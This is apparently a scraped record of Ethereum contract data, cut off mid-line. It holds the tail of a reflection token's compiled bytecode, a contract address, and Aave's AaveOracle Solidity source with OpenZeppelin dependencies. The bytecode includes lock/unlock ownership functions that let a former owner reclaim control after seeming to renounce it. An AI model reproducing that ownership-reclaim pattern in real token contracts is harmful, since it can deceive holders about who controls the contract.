379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614db06023913960400191505060405180910390fd5b6002544211612235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000612349612342612b1a565b8484612d19565b6001905092915050565b6000600254905090565b612365612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612425576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360016101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405180821515815260200191505060405180910390a150565b612483612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612543576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61256b606461255d8360095461334190919063ffffffff16565b6131c990919063ffffffff16565b60148190555050565b61257c612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461263c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6127f4612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612917612b1a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146129d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614c596026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614d606024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614c7f6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614d3b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614c0c6023913960400191505060405180910390fd5b60008111612e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180614d126029913960400191505060405180910390fd5b612e86611eae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612ef45750612ec4611eae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f5557601454811115612f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180614ca16028913960400191505060405180910390fd5b5b6000612f6030611be1565b90506014548110612f715760145490505b60006015548210159050808015612f955750601360009054906101000a900460ff16155b8015612fed57507f000000000000000000000000730c96fce4c713cc7f9901fcbb29f020845be73573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156130055750601360019054906101000a900460ff165b15613019576015549150613018826133c7565b5b600060019050600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130c05750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156130ca57600090505b6130d6868686846134a9565b505050505050565b600083831115829061318b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613150578082015181840152602081019050613135565b50505050905090810190601f16801561317d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006131ab6137ba565b915091506131c281836131c990919063ffffffff16565b9250505090565b600061320b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a4b565b905092915050565b600080828401905083811015613291576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008060008060008060006132b28a613b11565b92509250925060008060006132d08d86866132cb61319e565b613b6b565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061333983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506130de565b905092915050565b60008083141561335457600090506133c1565b600082840290508284828161336557fe5b04146133bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614cc96021913960400191505060405180910390fd5b809150505b92915050565b6001601360006101000a81548160ff02191690831515021790555060006133f86002836131c990919063ffffffff16565b9050600061340f82846132f790919063ffffffff16565b9050600047905061341f83613bf4565b600061343482476132f790919063ffffffff16565b90506134408382613ea2565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405180848152602001838152602001828152602001935050505060405180910390a1505050506000601360006101000a81548160ff02191690831515021790555050565b806134b7576134b6613ff3565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561355a5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561356f5761356a848484614036565b6137a6565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156136125750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561362757613622848484614296565b6137a5565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156136cb5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156136e0576136db8484846144f6565b6137a4565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156137825750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613797576137928484846146c1565b6137a3565b6137a28484846144f6565b5b5b5b5b806137b4576137b36149b6565b5b50505050565b6000806000600a5490506000600954905060005b600880549050811015613a0e578260036000600884815481106137ed57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806138d4575081600460006008848154811061386c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138eb57600a5460095494509450505050613a47565b61397460036000600884815481106138ff57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846132f790919063ffffffff16565b92506139ff600460006008848154811061398a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836132f790919063ffffffff16565b915080806001019150506137ce565b50613a26600954600a546131c990919063ffffffff16565b821015613a3e57600a54600954935093505050613a47565b81819350935050505b9091565b60008083118290613af7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613abc578082015181840152602081019050613aa1565b50505050905090810190601f168015613ae95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613b0357fe5b049050809150509392505050565b600080600080613b20856149ca565b90506000613b2d866149fb565b90506000613b5682613b48858a6132f790919063ffffffff16565b6132f790919063ffffffff16565b90508083839550955095505050509193909250565b600080600080613b84858961334190919063ffffffff16565b90506000613b9b868961334190919063ffffffff16565b90506000613bb2878961334190919063ffffffff16565b90506000613bdb82613bcd85876132f790919063ffffffff16565b6132f790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6060600267ffffffffffffffff81118015613c0e57600080fd5b50604051908082528060200260200182016040528015613c3d5781602001602082028036833780820191505090505b5090503081600081518110613c4e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613cee57600080fd5b505afa158015613d02573d6000803e3d6000fd5b505050506040513d6020811015613d1857600080fd5b810190808051906020019092919050505081600181518110613d3657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613d9b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612b22565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613e5d578082015181840152602081019050613e42565b505050509050019650505050505050600060405180830381600087803b158015613e8657600080fd5b505af1158015613e9a573d6000803e3d6000fd5b505050505050565b613ecd307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612b22565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613f17611eae565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015613f9c57600080fd5b505af1158015613fb0573d6000803e3d6000fd5b50505050506040513d6060811015613fc757600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b6000600f5414801561400757506000601154145b1561401157614034565b600f546010819055506011546012819055506000600f8190555060006011819055505b565b6000806000806000806140488761329b565b9550955095509550955095506140a687600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132f790919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061413b86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132f790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506141d085600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061421c81614a2c565b6142268483614bd1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806142a88761329b565b95509550955095509550955061430686600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132f790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061439b83600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061443085600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061447c81614a2c565b6144868483614bd1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806145088761329b565b95509550955095509550955061456686600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132f790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145fb85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061464781614a2c565b6146518483614bd1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806146d38761329b565b95509550955095509550955061473187600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132f790919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506147c686600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132f790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061485b83600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506148f085600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061493c81614a2c565b6149468483614bd1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b601054600f81905550601254601181905550565b60006149f460646149e6600f548561334190919063ffffffff16565b6131c990919063ffffffff16565b9050919050565b6000614a256064614a176011548561334190919063ffffffff16565b6131c990919063ffffffff16565b9050919050565b6000614a3661319e565b90506000614a4d828461334190919063ffffffff16565b9050614aa181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615614bcc57614b8883600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b614be682600a546132f790919063ffffffff16565b600a81905550614c0181600b5461321390919063ffffffff16565b600b81905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200242871d4e2eec937a412eae67f01504187953190faae94236cee468e1ebd20a64736f6c634300060c0033
[ 13, 5 ]
0xf20E5fe26811f7336a8A637C42b6e8913B291868
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IChainlinkAggregator} from '../interfaces/IChainlinkAggregator.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; /// @title AaveOracle /// @author Aave /// @notice Proxy smart contract to get the price of an asset from a price source, with Chainlink Aggregator /// smart contracts as primary option /// - If the returned price by a Chainlink aggregator is <= 0, the call is forwarded to a fallbackOracle /// - Owned by the Aave governance system, allowed to add sources for assets, replace them /// and change the fallbackOracle contract AaveOracle is IPriceOracleGetter, Ownable { using SafeERC20 for IERC20; event BaseCurrencySet(address indexed baseCurrency, uint256 baseCurrencyUnit); event AssetSourceUpdated(address indexed asset, address indexed source); event FallbackOracleUpdated(address indexed fallbackOracle); mapping(address => IChainlinkAggregator) private assetsSources; IPriceOracleGetter private _fallbackOracle; address public immutable BASE_CURRENCY; uint256 public immutable BASE_CURRENCY_UNIT; /// @notice Constructor /// @param assets The addresses of the assets /// @param sources The address of the source of each asset /// @param fallbackOracle The address of the fallback oracle to use if the data of an /// aggregator is not consistent /// @param baseCurrency the base currency used for the price quotes. If USD is used, base currency is 0x0 /// @param baseCurrencyUnit the unit of the base currency constructor( address[] memory assets, address[] memory sources, address fallbackOracle, address baseCurrency, uint256 baseCurrencyUnit ) public { _setFallbackOracle(fallbackOracle); _setAssetsSources(assets, sources); BASE_CURRENCY = baseCurrency; BASE_CURRENCY_UNIT = baseCurrencyUnit; emit BaseCurrencySet(baseCurrency, baseCurrencyUnit); } /// @notice External function called by the Aave governance to set or replace sources of assets /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function setAssetSources(address[] calldata assets, address[] calldata sources) external onlyOwner { _setAssetsSources(assets, sources); } /// @notice Sets the fallbackOracle /// - Callable only by the Aave governance /// @param fallbackOracle The address of the fallbackOracle function setFallbackOracle(address fallbackOracle) external onlyOwner { _setFallbackOracle(fallbackOracle); } /// @notice Internal function to set the sources for each asset /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function _setAssetsSources(address[] memory assets, address[] memory sources) internal { require(assets.length == sources.length, 'INCONSISTENT_PARAMS_LENGTH'); for (uint256 i = 0; i < assets.length; i++) { assetsSources[assets[i]] = IChainlinkAggregator(sources[i]); emit AssetSourceUpdated(assets[i], sources[i]); } } /// @notice Internal function to set the fallbackOracle /// @param fallbackOracle The address of the fallbackOracle function _setFallbackOracle(address fallbackOracle) internal { _fallbackOracle = IPriceOracleGetter(fallbackOracle); emit FallbackOracleUpdated(fallbackOracle); } /// @notice Gets an asset price by address /// @param asset The asset address function getAssetPrice(address asset) public view override returns (uint256) { IChainlinkAggregator source = assetsSources[asset]; if (asset == BASE_CURRENCY) { return BASE_CURRENCY_UNIT; } else if (address(source) == address(0)) { return _fallbackOracle.getAssetPrice(asset); } else { int256 price = IChainlinkAggregator(source).latestAnswer(); if (price > 0) { return uint256(price); } else { return _fallbackOracle.getAssetPrice(asset); } } } /// @notice Gets a list of prices from a list of assets addresses /// @param assets The list of assets addresses function getAssetsPrices(address[] calldata assets) external view returns (uint256[] memory) { uint256[] memory prices = new uint256[](assets.length); for (uint256 i = 0; i < assets.length; i++) { prices[i] = getAssetPrice(assets[i]); } return prices; } /// @notice Gets the address of the source for an asset address /// @param asset The address of the asset /// @return address The address of the source function getSourceOfAsset(address asset) external view returns (address) { return address(assetsSources[asset]); } /// @notice Gets the address of the fallback oracle /// @return address The addres of the fallback oracle function getFallbackOracle() external view returns (address) { return address(_fallbackOracle); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IPriceOracleGetter interface * @notice Interface for the Aave price oracle. **/ interface IPriceOracleGetter { /** * @dev returns the asset price in ETH * @param asset the address of the asset * @return the ETH price of the asset **/ function getAssetPrice(address asset) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IChainlinkAggregator { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; import {SafeMath} from './SafeMath.sol'; import {Address} from './Address.sol'; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 